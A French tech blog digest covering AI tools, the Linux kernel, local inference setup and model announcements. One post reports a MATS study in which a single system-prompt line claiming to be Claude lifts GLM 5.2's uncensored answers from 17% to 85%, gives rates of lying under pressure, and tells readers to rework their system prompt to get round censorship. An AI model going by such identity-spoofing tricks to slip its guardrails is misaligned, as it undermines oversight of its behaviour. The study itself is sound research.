Vous posez une VRAIE question à un collègue, et ce connard vous renvoie 800 mots sortis d'un chatbot et qu'il n'a manifestement pas relus. C'est chiant hein ? Parce qu'à ce tarif, autant rien lui demander et aller directement sur ChatGPT vous-même. Hé bien bonne nouvelle, il existe maintenant un site à lui envoyer pour l'éduquer un chouilla sans que vous ayez à lui faire la leçon vous-même.

Ce site s'appelle dontpastetheai.com , et le site propose 2 explications sur pourquoi c'est pas cool de répondre en copiant collant un machin issu d'un LLM. Il y a la version "polie" que vous pouvez trouver ici, et la version énervée lisible ici qui demande direct "devine qui l'IA va remplacer en premier ?".

À vous de voir si vous voulez garder de bonnes relations avec cette personne... : une polie, qu'on peut envoyer à son manager, et une colérique sur /angry/ qui demande "devine qui l'IA va remplacer en premier ?".

Maintenant, le reproche tel qu'il est formulé par ce site n'est pas esthétique. Personne ne se plaint que le texte pue le généré par un modèle IA à des kilomètres... Non, on se plaint de ce qu'il faut faire avec. Parce que celui qui colle sans lire n'a pas supprimé le travail de lecture, il l'a déplacé sur vous. Il a gagné trente secondes et vous en a coûté cinq minutes.

Ça rejoint un peu ce dont je vous parlais déjà en janvier à propos de l'impact des LLM sur l'open source . On refile la vérification du contenu IA aux mainteneurs du projet... Et ici, quand quelqu'un vous envoie un contenu IA, il vous refile sa lecture. C'est le même geste mais à deux échelles différentes.

Maintenant, si vous aussi vous avez tendance à faire ça, c'est-à-dire à copier-coller des sorties d'IA pour "instruire" vos amis et collègues, sachez que tout n'est pas perdu. Vous pouvez évoluer et corriger ce travers grâce à ces quelques conseils simples. Déjà, lisez ce que l'IA vous envoie et écrivez vous-même votre propre version avec vos mots. Extrayez le passage qui répond vraiment à la question de votre correspondant et jetez le reste à la poubelle. Pas la peine d'être verbeux inutilement comme ChatGPT, trois phrases suffisent. Vous pouvez aussi citer l'extrait utile en disant pourquoi. Et le dernier conseil, le move que peu de gens osent faire en 2026 parce que quasiment tout le monde a un égo de la taille d'une pastèque, c'est tout simplement de répondre que vous ne savez pas ou que vous n'avez pas d'opinion tranchée sur tel ou tel sujet. Pas besoin d'aller demander à une IA ce qu'elle en pense si vous-même n'en savez rien. Dire "je ne sais pas" reste une réponse valable.

Surtout que répondre à tort et à travers en mode "no-brain" avec de l'IA, ça va vous décrédibiliser de fou... C'est prouvé scientifiquement grâce au travail de 2 chercheurs de l'université d'Arizona qui ont fait passer treize expériences à plus de cinq mille participants sur cette question précise. Un professeur qui annonce corriger avec de l'IA perd ainsi 16 % de la confiance de ses étudiants, un graphiste 20 % de celle de ses clients. Même en testant avec des formulations adoucies, du genre "ça n'a servi qu'à la relecture" ou "un humain a tout relu", la confiance baisse quand même.

Sauf qu'ils ont mesuré autre chose dans la foulée. Se faire démasquer par quelqu'un d'autre est PIRE que d'avouer par soi-même qu'on a utilisé une IA. Donc annoncer ce qui vient du modèle coûte bien moins en crédibilité mais dans les 2 cas, y'a quand même une facture à payer. Elle est juste moins salée quand vous annoncez la couleur.

À garder en tête quand même : ces chiffres portent sur des situations précises, une copie corrigée, une publicité, un graphiste jugé par son client, une lettre de motivation. Personne n'a mesuré ce que ça coûte réellement dans un fil Slack ou un échange mail entre des gens qui se connaissent. Mais au jugé, je dirais que c'est encore plus décevant...

Maintenant, attention... Claquer dans la gueule ce genre de manifeste à quelqu'un, c'est parfois plus violent que la faute qu'on lui reproche. À vous donc de bien doser... une remarque sincère et délicate fera sûrement mieux d'ailleurs.

Mais bon, peu importe, je pense quand même que respecter ce principe c'est plutôt sain. Et le relever en douceur comme ceci, ça vous évitera d'être injustement considéré comme l'un de ces boomeurs mentaux anti-IA qui trainent en ce moment sur X ou équivalent ^^.

Ah et force à Laink !

Source : dontpastetheai.com

SpaceXAI, la maison d'Elon Musk née de la fusion entre SpaceX et xAI, a mis en ligne mardi la bêta de Grok Bot. L'outil installe des agents IA sur une machine distante qui leur appartient, et ces agents continuent d'avancer sur leurs missions une fois votre ordinateur, même refermé. Vous dormez, eux non.

Un bot garde le contexte de sa tâche pendant des heures et ne vous sollicite que pour valider un envoi ou trancher une décision qui l'a bloqué.

Quand un projet se découpe en plusieurs morceaux, les bots se le répartissent en discutant entre eux dans une messagerie commune, un peu comme le ferait une petite équipe dans un canal Slack.

Ces agents ouvrent vos applications et vos sites web avec vos propres identifiants, exactement comme vous le feriez au clavier, sans passer par les interfaces officielles que les logiciels s'offrent entre eux. Les agents d'OpenAI, d'Anthropic ou de Google savent déjà faire du travail de bureau, sauf que chez eux vous ouvrez la session vous-même avant de laisser la main. Ici, le bot se débrouille.

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

La bêta tourne sur Mac, iOS, Windows et Linux. Android suivra.

Il faut par contre y mettre le prix. SuperGrok Heavy coûte 300 dollars par mois, et les abonnés de Cursor, l'éditeur de code boosté à l'IA, y accèdent avec les formules à 120 ou 200 dollars. Aucun tarif en euros n'a été communiqué pour le moment, et les entreprises font la queue sur une liste d'attente.

SpaceXAI a annoncé en juin le rachat d'Anysphere, la maison mère de Cursor, pour 60 milliards de dollars, un record pour une startup. Les régulateurs n'ont pas encore donné leur feu vert, ce qui n'empêche visiblement pas les deux équipes d'avancer main dans la main. Grok 4.6, un modèle conçu pour tenir des tâches longues sans perdre le fil, est d'ailleurs sorti le lendemain de la bêta.

En juillet, Grok Build, l'outil de codage de la même maison, expédiait des dépôts Git entiers vers ses serveurs, avec les clés d'API dedans. Confier l'ensemble de ses comptes à un agent autonome demande du coup beaucoup de confiance.

C'est un usage de l'IA vraiment fascinant qui va clairement se généraliser dans les années à venir, j'ai hâte de voir ce que ça donnera.

Source : The Verge

Cloudflare Computer est un projet qui donne à votre agent IA un endroit rien qu'à lui. C'est-à-dire un vrai système de fichiers, avec des dossiers, des fichiers qui restent, et de quoi lancer des commandes dedans. Bref, un vrai poste de travail que l'agent garde entre deux sessions, au lieu de repartir de zéro à chaque fois, puisque tous les fichiers sont rangés dans une base SQLite.

Le système de fichiers s'utilise ensuite comme n'importe quel autre. Lire, écrire, créer un dossier, lister, supprimer, et un grep intégré pour fouiller dans le tas. Pour tout le reste, il n'y a qu'une fonction à retenir, exec(). Vous lui passez une commande, et elle vous rend la sortie et le code de retour.

Ce qui change par contre, c'est l'endroit où la commande tourne. 3 environnements sont disponibles et interchangeables sur les mêmes fichiers. Il y a d'abord un conteneur Linux complet, avec npm, node et de vrais binaires. Ou un shell léger pour les commandes simples. Et enfin, un dernier qui exécute directement votre code, sur une base neuve à chaque appel.

Comme ça, vous passez de l'un à l'autre sans réécrire une ligne de votre agent.

Les 9 exemples fournis montrent bien ce qu'on peut en tirer quand on aime bidouiller. Le plus parlant fait par exemple tourner un agent de discussion qui prendra l'espace de travail comme répertoire courant, donc qui travaillera dans de vrais fichiers au lieu de tout garder en mémoire.

Un autre colle pandoc dans le conteneur et laisse l'agent transformer une fiche markdown en PDF. Il y en a aussi un qui fabrique des images avec Workers AI, un quatrième joue sur les politiques de sortie réseau pour décider ce que l'agent a le droit de joindre, et enfin, un dernier génère un projet Worker complet, puis le publie.

Il y a même une interface web qui balance la même tâche dans le conteneur et dans un environnement léger, côte à côte.

Reste à savoir ce qui est gratuit là-dedans... Le code est sous licence MIT, et le système de fichiers seul, sans aucune exécution, tourne sans souci dans le plan Workers gratuit puisque les Durable Objects qui portent ce stockage y sont inclus, avec 100 000 requêtes par jour et 5 Go d'espace.

Il faut un compte Cloudflare, évidemment...

Puis si vous voulez faire tourner des vraies commandes ou avoir un shell, faudra payer puisque le conteneur comme les environnements légers réclament le plan Workers payant, facturé 5 dollars par mois au minimum.

Après j'ai quelques réserves quand même parce que le projet est très récent, encore en preview et clairement inadapté à de la production. Ensuite, la limite technique d'un espace de travail tourne autour de 10 Go, et les accès disque lourds restent plus lents que sur un vrai disque. Puis surtout, tout vit chez Cloudflare, et pas chez vous (si vous préférez l'inverse, je vous avais montré workerd , le moteur des Workers en local).

Mais bon, c'est à garder à l'œil si vous êtes client Cloudflare.

Source

La dernière release candidate de Linux 7.2 est bien plus "grosse" qu'elle ne devrait l'être à ce stade du cycle, mais cela n'a pas empêché Linus Torvalds de la publier dimanche en attribuant ce trop-plein aux outils IA qui relisent le code du noyau.

"Je ne peux pas dire que la taille de tout ça m'enthousiasme, mais c'est comme ça : la nouvelle normalité, avec beaucoup de correctifs, dont beaucoup viennent de la revue par divers outils IA."

Rien ne lui paraît effrayant pour autant, et il ne voit aucune raison de retarder la 7.2. Une grosse taille pour ce noyau, ça veut dire plus de 400 correctifs, signés par plus de 230 personnes alors que dans une Release Candidate en général, c'est le moment où le noyau est censé se calmer avant la sortie. Alors que là, ça ressemble plutôt à un nouveau début de cycle.

Et ça tape de partout : Pilotes graphiques, son, réseau, systèmes de fichiers, code d'architecture. Les plus gros blocs viennent de s390 et zcrypt, de btrfs qui remet en place une infrastructure interne, et de correctifs netfilter ipset.

Mais attention au contresens, parce que je l'ai vu passer sur certains tweets d'anti-IA. Torvalds parle de revue de code par des outils IA, et pas d'une IA qui écrirait le noyau à sa place. Sa position de fond, Vincent nous la racontait en juillet quand il envoyait les anti-IA forker le noyau. Ici, ça ne concerne que des outils qui relisent du code existant et signalent des trucs douteux. Après derrière, ce sont des humains qui trient.

À titre d'exemple, l'un des correctifs de cette rc7 traite un use-after-free dans ptdump, l'interface qui affiche les tables de pages du noyau en clair pour repérer les problèmes de mémoire. C'est ce type de bug qui se transforme en faille et il était là depuis mars 2018 (depuis Linux 4.16).

C'est Syzbot , le robot qui bombarde le noyau d'entrées tordues en continu, qui a levé le lièvre en juin dernier. David Carlier a écrit un premier correctif en s'aidant de Claude Opus 4.8 pour remonter la piste, et Lorenzo Stoakes, mainteneur de la gestion mémoire, l'a retravaillé avant qu'il parte dans la rc7. Il devrait ensuite être rétroporté vers les noyaux stables, donc vers les machines qui tournent aujourd'hui.

Autre exemple, Greg Kroah-Hartman, qui traque déjà des bugs du noyau avec une IA locale , vient de faire retirer le pilote Moxa Intellio, soit près de 2200 lignes écrites en 1999 qui supporte certaines cartes série multiports. Alors pourquoi est-ce qu'il a fait ça ? Eh bien il écrit dans son patch que : "C'est un très vieux pilote, aucun matériel connu ne circule encore pour lui, et la société dit ne plus en avoir besoin, alors retirons-le puisque les LLM commencent à venir le titiller et à y trouver des choses "intéressantes" qui vont juste faire perdre du temps à tout le monde, vu qu'il ne sert plus...".

Voilà donc un autre effet de l'analyse de code par IA. Elle oblige les mainteneurs de projet à tailler dans le gras pour virer du code obsolète que des modèles de langage viendraient renifler d'un peu trop près. Ça ne peut pas faire de mal.

Pour moi, le vrai risque de ces outils sur un projet ouvert tient au volume. Un flot de signalements produits par des gens qui ne relisent pas ce qu'ils envoient, où plus personne ne distingue l'hallucination du vrai bug, et là ça partirait en eau de boudin. Mais comme le noyau, lui, garde des mainteneurs qui comprennent les tenants et les aboutissants de ce qu'ils lisent, ça se passe très bien. Même si la quantité de problèmes remontés surprend Linus.

Voilà, si cette nouvelle version du noyau vous intéresse, sachez qu'elle devrait normalement sortir la semaine prochaine en version finale.

Source

Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous.

Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de langage d'Anthropic". Et rien d'autre ne change, ni le modèle, ni les questions posées.

Sauf que le nom "Claude" n'est pas vraiment la variable. Quand les chercheurs présentent le développeur comme un labo occidental, le modèle de Z.ai répond sans censure dans 62 à 81 % des cas. Alors que dans un cadrage chinois, ça retombe à 27 %. Bref, ce qu'il module en réalité, c'est la juridiction sous laquelle il croit bosser.

Et cette censure n'est pas câblée pareil d'un modèle à l'autre. Chez GLM elle est molle, logée dans les poids mais négociable par le contexte. Alors que chez Qwen elle est verrouillée. 0 % de réponses non censurées quoi qu'on lui raconte, et plutôt que refuser il récite la position officielle, "Taïwan est une partie inaliénable de la Chine, nous adhérons au principe d'une seule Chine".

Et chez Kimi, elle n'est même pas gérée par le modèle. C'est l'API de Moonshot qui intercepte en amont, 40 requêtes sensibles sur 48 bloquées avant d'atteindre quoi que ce soit.

Sur l'identité elle-même, Kimi K3 est le seul à déraper tout seul. Sans qu'on ne lui demande rien, il s'est présenté comme un grand comme étant Claude, 4 fois sur 10. GLM, lui, dit toujours qu'il est GLM. Bizarre non ?

Alors on pourrait croire que c'est parce que ces modèles ont été distillés à partir des modèles d'Anthropic, mais d'après les chercheurs, "ce n'est pas une preuve de distillation, mais ça montre que la conception que Claude a de lui-même est inscrite dans les poids de ces modèles."

Ils signalent même un biais gênant, qui est que les labos entraînent explicitement leurs modèles à ne pas répondre "je suis ChatGPT" (DeepSeek V3 le faisait en boucle à ses débuts), donc accepter "Claude" par défaut est un indice bien faiblard... De quoi calmer un peu les ardeurs de ceux qui brandissent des sanctions .

Et sur le mensonge de ces modèles, attention à ne pas lire l'étude de travers. Mis en situation de mentir pour se rendre utile, GLM ment entre 63 et 69 % du temps, mais avec l'identité Claude ça tombe à 22 %.

Sauf que le gros du gain ne vient pas de cet effet "Claude". En réalité, le simple fait d'avoir un system prompt (n'importe lequel quoi) fait déjà chuter le taux à 43 %, et n'importe quel cadrage d'assistant serviable finit entre 20 et 40 %. Claude est donc dans la fourchette, pas au-dessus.

Chez Llama et Gemma, l'identité Claude fait même légèrement grimper le mensonge, les modèles ayant l'air de comprendre le prompt d'identité comme une invitation à jouer le jeu.

Fin juin, je vous racontais que j'avais branché GLM 5.2 dans Claude Code via l'API de Z.ai et comme mon launcher déclare glm-5.2 comme modèle Sonnet, le bestiau reçoit un system prompt d'assistant estampillé Anthropic à chaque lancement, donc je suis pile dans ce cas-là.

Les chercheurs n'ont pas testé ce cas précis, mais si leur mécanisme tient, le modèle qui tourne dans mon terminal n'est déjà plus tout à fait celui de l'app chinoise.

Après faut pas s'emballer non plus. On parle de 5 à 6 questions par catégorie, une seule formulation testée, un seul run par combinaison, avec GPT-4.1 en juge. C'est un signal, pas un mode d'emploi. Et vu que la dérive de Kimi s'est volatilisée en 3 jours, ce genre de résultat périme vite.

Du coup, la prochaine fois qu'un modèle chinois vous répond de la merde censurée, retravaillez votre system prompt ou changez de CLI et vous verrez surement une grosse amélioration !

Source

Si vous avez eu une boîte à goûter M.A.S.K. dans les années 80 pour transporter vos BN, alors celle de RadioactiveArtist va vous plaire. Dans sa boite à goûter, pas de Princes ni de Balisto... lui, il embarque un Raspberry Pi 5, un écran tactile de 7 pouces et une IA qui tourne sans internet.

Le clin d'œil est calculé puisque M.A.S.K., c'était ce dessin animé de 85-86 dont les objets du quotidien planquaient tous une seconde vie. Fermé, l'engin reste donc une boîte à goûter d'époque. Mais ouverte, elle devient un cyberdeck complet, avec clavier et enceintes noyés dans la partie basse + un écran qui se redresse sur sa propre charnière.

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Un cyberdeck, pour ceux qui débarquent des âges farouches (vous l'avez ?), c'est un ordinateur portable assemblé à la main dans un boîtier détourné, fait pour être réparé et modifié plutôt qu'acheté.

Dedans, y'a donc un Pi 5 avec 16 Go de RAM et une microSD de 128 Go. L'alimentation passe par un HAT UPS Geekworm, la carte d'onduleur qui se clipse sur le Pi, nourrie par 4 accus 18650. En façade, des lecteurs de cartes, des ports USB 3 et un jack casque, plus un hub audio USB Waveshare qui pilote les enceintes. Par contre, on ne sait rien de son autonomie...

L'Ethernet a été une vraie plaie apparemment puisqu'aucun adaptateur du marché ne rentrait dans l'espace disponible. Il a donc poncé à fond un connecteur RJ45 nu jusqu'à ce qu'il clipse dans le port. Les charnières, elles, se sont révélées bien plus dures que prévu, et les pattes du circuit imprimé de l'écran n'étaient pas faites pour encaisser cette tension. Une plaque ABS récupérée sur une vieille caisse de transport a réglé le problème.

Et la boîte ressort intacte !

Puis je sais pas si vous avez vu dans la vidéo, mais il y a aussi un LLM là-dedans. Un modèle de 3 milliards de paramètres via Ollama, qui répond sans la moindre connexion. L'écran de boot, l'écran de login et les icônes maison, eux, ont été codés avec Claude Code, qu'il a installé sur la machine le temps de la configuration.

Si le format vous parle, le Hackberry Pi CM5 dont je vous ai parlé joue dans la même cour, et les cyberdecks faits maison ont droit à leur guide sur le site.

Bref, à moitié jouet, à moitié machine de terrain, et zéro trou dans la boîte ça, c'est du respect pour l'objet !!

Source

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.

Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.

Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.

Pour cela, il dispose de plusieurs patterns déterministes :

• same_change, c'est quand les deux branches ont écrit exactement la même chose.
• whitespace_only ne voit qu'une indentation qui a bougé,
• reorder_only les mêmes lignes remises dans un autre ordre.
• Un numéro de version qui change, lui, tombe dans value_only_change.
• Et puis il y a complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.
• git rerere rejoue les résolutions que vous avez déjà tranchées à la main,
• et Mergiraf se branche directement dans git merge pour arbitrer en lisant l'arbre syntaxique de votre code.

Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.

Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.

Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.

L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.

Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.

Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .

À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.

Merci à Laurent pour le lien !

Source

Si vous avez un Mac Apple Silicon et que vous en avez assez de payer des tokens à chaque requête, Rapid-MLX vaut le détour. C'est un moteur d'inférence local maintenu par Raullen Chai, qui tape directement dans les kernels MLX d'Apple, sans repli sur llama.cpp ni couche Metal intermédiaire. Et si le nom vous dit vaguement quelque chose, c'est normal puisque c'est un fork de vLLM-MLX, le serveur de Wayner Barrios dont je vous parlais en mai . Rapid-MLX a juste pris un rythme de publication plus soutenu des deux.

Ce que ça vous donne, c'est donc un serveur HTTP qui parle le même langage que l'API d'OpenAI et celle d'Anthropic. Vos scripts, Cursor, Aider, LangChain ou Claude Code continuent de fonctionner, sauf qu'ils tapent sur votre machine au lieu d'un datacenter.

Donc je vous propose de voir ensemble comment installer ça.

Étape 0 : Vérifier que votre Mac est éligible

Le script d'installation contrôle plusieurs choses avant de lancer quoi que ce soit, et autant les connaître d'avance. Il faut une puce Apple Silicon et il n'y a pas de version Linux ni Windows, ni de support CUDA ou AMD.

Le script d'installation accepte encore macOS 13 Ventura, mais le vrai plancher est macOS 14 Sonoma. La formule Homebrew l'exige, et surtout MLX, la brique Apple sur laquelle tout repose, ne publie de paquets macOS que pour les versions 14, 15 et 26. Sur un Mac resté en Ventura, ça cassera donc à l'installation des dépendances, quel que soit le chemin choisi.

Dernier point à avoir en tête, c'est pensé pour votre machine à vous et pas pour un serveur. Vous n'y trouverez donc ni authentification multi-utilisateurs, ni quotas de requêtes.

Étape 1 : Installer Rapid-MLX

Le plus simple, c'est Homebrew :

brew install rapid-mlx

Si vous gérez déjà vos environnements Python vous-même, les autres chemins existent :

uv tool install rapid-mlx@latest
python3.12 -m pip install rapid-mlx

Il y a aussi un installeur en une ligne (curl -fsSL https://rapidmlx.com/install.sh | bash) qui détecte votre RAM et vous propose un modèle adapté. Il crée un venv isolé dans ~/.rapid-mlx/ et pose le binaire dans ~/.local/bin/. Un curl | bash reste un curl | bash. La formule Homebrew fait exactement le même boulot, donc l'installeur en ligne perd de son intérêt.

L'installation de base pèse dans les 460 Mo et la vision, l'audio et les embeddings sont des extras optionnels, vous les ajouterez seulement si vous en avez l'usage.

Étape 2 : Choisir un modèle qui tient dans votre RAM

C'est là que la plupart des gens se plantent, en chargeant un modèle trop gros et en concluant que "ça rame". Sur Mac, la RAM est unifiée, donc le modèle mange directement dans la mémoire que se partagent le CPU et le GPU.

Les paliers recommandés par le projet :

Le catalogue complet se liste avec la commande rapid-mlx models, et rapid-mlx info <alias> vous donne le profil détaillé d'un modèle. Si vous voulez sortir du catalogue maison, le filtre matériel de Hugging Face que je vous montrais fin juin fait exactement ce tri à votre place.

Pour utiliser un autre modèle que celui par défaut, il suffit de reprendre l'alias affiché par rapid-mlx models et de le passer en argument. Et si vous préférez télécharger les poids à l'avance, sans rien lancer, c'est le boulot de rapid-mlx pull, qui accepte aussi bien un alias du catalogue qu'un identifiant Hugging Face :

rapid-mlx pull qwen3.5-9b-4bit

Le modèle atterrit dans le cache Hugging Face de votre machine, et ensuite rapid-mlx chat qwen3.5-9b-4bit ou rapid-mlx serve qwen3.5-9b-4bit chargeront ce modèle-là. Le pull préalable reste facultatif, chat et serve téléchargent d'eux-mêmes ce qui manque, mais autant rapatrier les gigas tranquillement avant plutôt qu'au moment où vous voulez bosser.

Étape 3 : Vérifier que ça tourne

Avant de bricoler des intégrations, testez en direct :

rapid-mlx chat

Ça part sur qwen3.5-4b-4bit par défaut, télécharge les poids au premier lancement (comptez 2,5 Go) et vous lâche dans une interface (REPL). /help listera les commandes slash, et /exit vous permettra de quitter le chat.

Une subtilité qui évite de mal interpréter ce premier test, c'est que dans le chat, le raisonnement est coupé par défaut, histoire que le modèle ne vous déballe pas sa réflexion à l'écran. En mode serveur par contre c'est l'inverse, et ça change la vitesse ressentie du tout au tout. J'y reviens plus bas.

Étape 4 : Lancer le serveur

Le vrai intérêt, c'est le mode serveur :

rapid-mlx serve qwen3.5-4b-4bit

Vous récupérez un endpoint sur http://localhost:8000. Le test qui confirme que tout est en place :

curl http://localhost:8000/v1/chat/completions \
 -H "Content-Type: application/json" \
 -d '{"model":"default","messages":[{"role":"user","content":"Dis bonjour !!"}]}'

Et côté Python, vous gardez le SDK OpenAI tel quel, seule l'URL de base change :

from openai import OpenAI
client = OpenAI(base_url="http://localhost:8000/v1", api_key="not-needed")
print(client.chat.completions.create(
 model="default",
 messages=[{"role": "user", "content": "Say hello"}],
).choices[0].message.content)

Pointez n'importe quel client compatible OpenAI sur http://localhost:8000/v1 et c'est réglé. Cursor, Aider, LibreChat, Open WebUI, LangChain, tous marchent avec ce seul changement d'URL. Il y a aussi /v1/embeddings pour du RAG local et /v1/responses pour le Codex CLI.

Étape 5 : Brancher Claude Code dessus

C'est le morceau le plus intéressant du lot, et il tient en deux variables d'environnement. Serveur lancé d'un côté, puis dans un autre terminal :

ANTHROPIC_BASE_URL=http://localhost:8000 ANTHROPIC_API_KEY=not-needed claude

Attention quand même, l'URL de base doit être la racine, sans /v1 à la fin. Le SDK Anthropic ajoute /v1/messages tout seul, donc si vous mettez /v1 vous obtenez /v1/v1/messages et ça casse.

Depuis la 0.10.14, l'appel d'outils passe par une grammaire contrainte activée par défaut, donc plus besoin de bidouiller un --tool-call-parser à la main pour que les tool calls soient parsables. Pour du Claude Code sérieux, visez plutôt un gros modèle, la doc officielle recommande par exemple qwen3.6-35b-4bit en exemple.

Quand ça coince

Le réflexe à avoir avant de chercher ailleurs :

rapid-mlx doctor

Les trois pannes les plus courantes sont toujours les mêmes.

Débit décevant côté serveur, c'est le raisonnement : les Qwen 3.5 et 3.6 démarrent en mode réflexion, donc ils pensent à voix haute avant de répondre, et --no-think règle l'affaire.

Plantage mémoire, votre modèle est trop gros pour la RAM disponible, redescendez d'un palier ou prenez une quantification plus agressive. Appels d'outils qui arrivent en texte brut, la récupération automatique gère la plupart des cas, sinon vous forcez le parser correspondant à votre modèle.

Voilà, grâce à ça, votre Mac est maintenant un serveur d'IA super rapide ! Plus de facture au token, et vos prompts ne sortent plus de la pièce.

Merci à Philobois pour le lien !

Si vous avez un Navidrome qui tourne dans un coin et un serveur Ollama qui passe ses journées à ne rien faire, vous ne vous êtes jamais dit que les deux pourraient bosser ensemble ? C'est en tout cas ce qu'a flairé Parminder Klair qui a branché l'un sur l'autre et en a sorti une vraie station de radio, avec un DJ qui parle entre les morceaux.

Son DJ baptisé Subwave ne fait pas de la lecture aléatoire. À chaque tour, le modèle utilise des outils qui lui permettent de fouiller la bibliothèque, regarder ce qui vient de passer, consulter la grille des programmes, lire la météo. Il choisit le titre suivant avec une raison, écrit une intro courte, la synthèse vocale la lit, et Liquidsoap baisse la musique sous la voix.

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

Odysseus, c'est le workspace IA que PewDiePie a balancé sur GitHub fin mai. Chat, agents, recherche web, email, calendrier, notes et documents, tout est réuni dans un superbe cockpit auto-hébergé dans lequel les modèles et l'historique peuvent rester sur VOTRE machine. Vous avez aussi un éditeur Markdown avec historique de versions, une génération d'images intégrée, et un mode Compare pour opposer deux modèles côte à côte en aveugle (exclusion faite des services tiers liés à la recherche web, l'email et le calendrier, évidemment...).

J'ai voulu l'installer sur mon Mac, mais j'ai quand même rencontré un petit piège qui a failli transformer l'expérience en échec... Voici donc comment le faire tourner correctement sous Mac + quelques idées de ce que vous allez pouvoir faire avec ce truc.

Avant de commencer

Odysseus évolue vite. La branche main est stable et testée, mais la branche dev peut casser n'importe quand. Privilégiez la branche stable en la clonant explicitement :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
git checkout main

Étape 1 : Oubliez Docker sur Mac

Sur Apple Silicon, Docker ne peut pas accéder au GPU Metal. Les modèles tournent sur le CPU, et ça rame comme pas permis. Du coup, sur Mac, on est obligé d'installer ça en natif.

Étape 2 : Installer Odysseus en 2 commandes

Ouvrez un terminal et lancez ça :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
./start-macos.sh

Le script installe alors les dépendances et démarre le serveur. Sur mon Mac, AirPlay squattait le port 7000, donc l'interface s'est ouverte automatiquement sur http://127.0.0.1:7860. Ensuite, au premier lancement, il faut renseigner un nouveau mot de passe pour le compte admin.

Si vous accédez à Odysseus depuis une autre machine (VPS ou serveur distant), ouvrez un tunnel SSH plutôt que d'exposer le port directement sur Internet :

ssh -L 7860:127.0.0.1:7860 [email protected]

Ensuite, accédez simplement à http://127.0.0.1:7860 en local. C'est plus sécurisé que d'ouvrir le port sur le public.

Étape 3 : Un modèle rapide, genre Qwen

